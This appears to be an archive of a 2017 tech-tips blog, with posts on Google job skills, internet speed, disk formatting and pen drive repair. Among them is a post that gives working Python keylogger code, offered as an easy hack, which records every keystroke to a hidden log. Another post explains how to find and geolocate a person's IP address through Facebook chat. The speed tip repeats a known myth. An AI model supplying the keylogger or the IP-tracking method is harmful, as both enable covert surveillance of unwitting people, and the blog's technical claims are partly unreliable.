Monday, 30 October 2017

What skills are needed to get a software engineering job at Google?


We all know that getting placed in Google is one of the most desirable employers in the world. Engineers at Google are the masters, and their salary is high enough. For Google employees salaries for Interns start from $70,000 to $90,000. Whereas for the software engineers can get from $118,000 and senior software engineers would make up for an average of amount $152,985.

Not only Google top companies like Facebook, Amazon, and Microsoft pays a good amount of salaries to the Software engineers. But, getting placed in good companies is not an easy job and takes in a lot of skill.

A lot of good skills are required from a software engineer background to get placed in the large enterprises. Happily, Google has released a list of skills required that they expect from an engineer who applies for a job at Google. The list will help to secure job in Google and other top companies if you follow and improve the list.

Check the list below:

1. First and foremost thing to do is Mastering the foundation. Go through an introduction to CS classes, from sites like Coursera or Udacity and improve your foundation skills.

2. Learn any one of the object-oriented programming languages like Java, C++, or Python.

3. Don’t restrict your limits learn few other programming languages like CSS, Ruby, JavaScript, and HTML. These programming languages will help to improve your skill levels. CodeAcademy and W3school have the best tutorials to learn. 

4. Always Test your code and others too. It is like finding your mistake and being smart. Google wants developers to “Find bugs, make tests, and play with software.” Head over to Udacity.

5. Have a good grip in abstract math. Abstract Math is a math like logical reasoning and discrete math. This helps a lot of computer science depends on the situation. MIT has good mathematics courses available for computer science.

6. Understand data structures and algorithms. Google wants engineers to learn about data types like queues, stacks, and bags, as well as grasp, sorting algorithms like merge sort, quicksort, and heapsort. MIT provides these prescribed online resources.

7. Having good knowledge on the operating system because it is where you do most of your work at. The University of California and Berkeley provides the courses.

8. Know Artificial Intelligence. It is known from long time Google loves AI and robots. Stanford has courses on it.

9. Learn to develop compilers. By learning to develop compilers, you will learn how a program is written in a high-level language designed for humans is systematically translated into a program written in low-level assembly more suited to machines. Coursera is best for learning about compilers.

10. Learn about cryptography. These days cyber security has become a crucial part. Udacity and Coursera provide courses. 

11. Learn about the parallel programming because being able to carry out a lot of computations at the same time is super powerful. The University of Illinois has good courses on it.

Saturday, 28 October 2017

How to Create a Keylogger in Few Minutes Simply by using Notepad

Keylogger also called keystroke logging, are software programs or hardware devices that record keys struck on the computer keyboard of an individual computer user or network of computers.It almost records every keystroke that user typed and saved as a text file.

Keylogger Creation

1. Just open the notepad and copy paste the script.

import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location
file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages() 

2. Now save it something filename.pyw and execute the keylogger file. When you need to quit logging, open up task manager and execute all the “python” forms. At that point search for keyloggeroutput.txt in a similar index were the something.

At that point search for keyloggeroutput.txt in a similar index was the filename.pyw is. Open it up and you should see whatever you wrote.

This is just a simple keylogger, there are many advanced keyloggers available for Windows and Android.

 

Wednesday, 25 October 2017

Best Hacking Tricks To Increase Your Internet Speed


We all know that a slow internet connection really costs time and makes feel annoying . many friends ask me the ways to increase their internet speed. However . it's possible to do to some extent and make your internet much better then it was in the past.

There are Two tricks that will help you to increase your internet speed..

First Method- Speed Up Your Net Speed By 20%

1. First you go to start button
2. Go To Run
3. Type gpedit.msc And Then Hit Enter.
4.Then Expand Adminsitrative Templates.
5.Then Network
6.Then QoS Packet Scheduler. 

Now A New List Appear . Click On Limit Reservable Bandwidth.
Just Disable it.
Now You Click On Apply

That's It Now You Are Done !! :)
Now Just Restart Your Computer . And I hope You will Get change in Your Speed

Some Basic Tricks From My Side-
1. Use IDM To Boost Your Downloading Speed.
2. Use A Good Anti-virus in Your Computer.
3. Remove Unwanted Add-ons, Software,Unwanted Files Form Your Computer.
4.Update Your Drivers Periodically.
5.Keep A Good Maintennance Of Your Computer.

Keep Visiting :)

Sunday, 22 October 2017

How To Know Who Created Fake Id On Facebook


Let Me Go Step By Step And Show How You Can Get To Know Who Created Yours Or Someone Else’s Fake ID On Facebook. First of all you need to know the IP address of that user who created your fake ID. So here are the steps to know the IP address of that person:

1‐ You must chat with that person. Just invite him/ her on chat or ping him on facebook chat. Note: Before trying all these steps make sure all other browsers and tabs are closed. Apart from your facebook tab no other tab should be open. In fact, no program should run which uses internet apart from this facebook tab. If possible delete history as well as cache. 

2‐ Once you have pinged that person and chat is on open Command Prompt (start‐ >run‐ >cmd) 

3‐ When the command prompt opens type the command mentioned
below and press enter netstat ‐an

4‐ You will be able to see all established connections IP addresses there. Ignore the one’s that start with 127* as well as 0*. Rest (Not more than 1 or 2) of the IP are suspicious. Note down these IP address.

5‐ Now once you have noted down the IP address open this website: http://www.iplocation.net/ It will show you all the information about that user, his ISP and his location in the map. 

You can zoom in and try to know the exact area in the map. If there’s anything serious you can contact ISP and ask them about everything you want to know. Enjoy...

Sunday, 15 October 2017

Top 5 Highest Paying Jobs for Computer Science Majors


Computer science experts are highly demanded. Previously, experts in this field were viewed as geeks. Today’s economy has changed the world views of the professionals. Skilled programmers are crucial in every business. Computer science experts are some of the highest paid professionals. Many of them have landed high-profile jobs. Students are given options of specializing in one computer science major. None of them is lesser. Their choices depend on their preferences.

This article outlines some of the best jobs for computer science majors.

Highest Paying Jobs for Computer Science Majors


1. Network architects


Network architects design computer networks. They deal with network layout which consists of software, hardware, communication protocols and transmission of both wired and wireless connections. The network architecture is the organization of tasks in computers. Architects are expected to develop systems that suit individual company needs. The professional ought to understand the layout of that particular building. He decides where to place the cables. The job requires a lot of skills. 

2. Applications Developer

Applications developer has the responsibility of ensuring that all aspects of development are in order. The developer also makes sure that application software is well supported. His daily duties include testing hardware and software, management of junior development staff and managing project workload. 

3. Data warehouse manager

Data warehouse manager is an important resource in every business. This expert controls activities of business and IT customers. They design complex data systems. They have the responsibility of making sure that all warehouse designs, procedures, and standards are in the right order. His duties put him in a position of regularly consulting with the senior management.

4. IT directors

IT directors oversee plans, organization, and execution of IT function. They direct their operations to cater for consumer requirements. The experts support maintenance of running applications. They know how the perfect solutions for technical issues. A person who specializes as an IT director directs network delivery and recommends new products.

5. IT security managers 

IT security managers protect organization’s computers against threats. Cyber criminals develop computer viruses which can breach the entire system. That is why every organization requires a specialist to assess all security measures. IT systems can be easily attacked. Tests are carried out to detect security threats. The professionals are involved in research to know the nature of future threats. Employees are also trained on good practices to avoid security risks. The world is run by computers. The society depends on the machines. That is why computer specialists are highly demanded. Whether in manufacturing, healthcare, retail, finance or insurance, computer specialists are important resources.

Friday, 13 October 2017

How to format a computer using command prompt in BIOS

Format a computer using command prompt in BIOS are often used when you want to format system partition on your hard drive, to proceed, you need to prepare a system bootable CD/DVD.

Steps to format a computer using command prompt in BIOS

         1.      Insert bootable CD/DVD,> Reboot;  > Press F2/F8/Delete bottom, or any other key according to your pc prompt, to go into BIOS;
         2.      Define boot order: make boot form CD/DVD as the first option; > Save; > Exit;
          3.      Reboot; > click Use recovery tools that can help fix problems starting Windows when you disc loaded;
> Windows installation; > Command Prompt



4.         Type: format c: /fs: ntfs


To format a computer c drive in windows 7 and reinstall it, just insert a your bootable system CD/DVD after the steps above.

How to Format Non-system partition:


There are many ways to format non-system partition, also called data partition or logical partition, I will listed 4 of them to format data partition: 
 1. Format Partition in Command Prompt:

    1.1 Open command prompt by Typing CMD in Run box (WIN+R)
    1.2 Type command in order:
        diskpart  
        list disk  
        select disk ###  
        list partition  
        Select partition ###  
        format    

    1.3 Type: exit

2. Format Partition in Disk Management:

    2.1 Press Win+R to Run diskmgmt.msc
    2.2 When your disk map loaded, right-click on the partition you want to format; > Format;
    2.3 Select file system : NTFS or FAT32, NTFS is recommended
    2.4 Tick Quick Format

3. Format Partition in Windows Explorer:

    3.1 Press WIN+E to open Windows Explorer
    3.2 Right-click on the target partition; > Format
    3.3 Choose File system; > Tick Quick Format; > OK

4. Format Partition in Partition Expert:

    4.1 Run Partition Expert; > Right-click on data partition; > Format Volume;
    4.2 Choose File system: NTFS; > cluster size: 4K; > tick Quick Format;
    4.3 OK; > Commit;


 
 

Sunday, 8 October 2017

Fix a Corrupted Pen Drive or SD card using Command Prompt


Has your Pen Drive or SD card stopped working suddenly? Are you tired of formatting it again and again? And still, your storage devices continue to malfunction.

Most of you might have faced this problem with your Pen Drives and SD cards. If yes, then we are here to help you solve this problem and fix your corrupted USB drive.

We can repair a corrupted pen drive or SD card using Command Prompt in windows. This How to guide will help you do that in a simpler way. In this technique all you need is to enter some commands in command prompt and windows will forcefully format your corrupted pen drive or SD card.

Fix a Corrupted Pen Drive or SD card using Command Prompt


Follow these simple steps and you can do that in just a few minutes.

Step-1:
Connect the corrupted pen drive or SD card to your computer.

Step-2:
Now open Command window. You can actually do this in several ways. Press Windows Key+R and type cmd in the dialogue box and click on OK. This will let you open a command window. Also, you can click on start button and type cmd in the search box and select the command prompt program.

Step-3:
Once done with opening the command prompt window, it’s time to enter some commands into it.

Type diskpart and press Enter.

Next type list disk and press Enter. This will display a list of all the storage devices connected to your computer. 

Step-4:
Now type select disk <the number of your disk> and press Enter. Here the number of your disk is the number assigned to your removable storage.

Note: Make sure you enter the number correctly. Otherwise, you may format your internal hard drive.

Step-5:
After selecting the disk accurately, type clean and press Enter. Next type creates partition primary and hit Enter.

Step-6:
Now type active, and press Enter.

Type select partition 1, and hit Enter.

Step-7:

Finally, type format fs=fat32 and hit Enter. You can write NTFS instead of fat32 to format drives larger than 4 GB.The format process will complete in a few minutes. Do not close the window till the process is done. 

Here is the entire process.
 Once done your USB drive is back to normal again.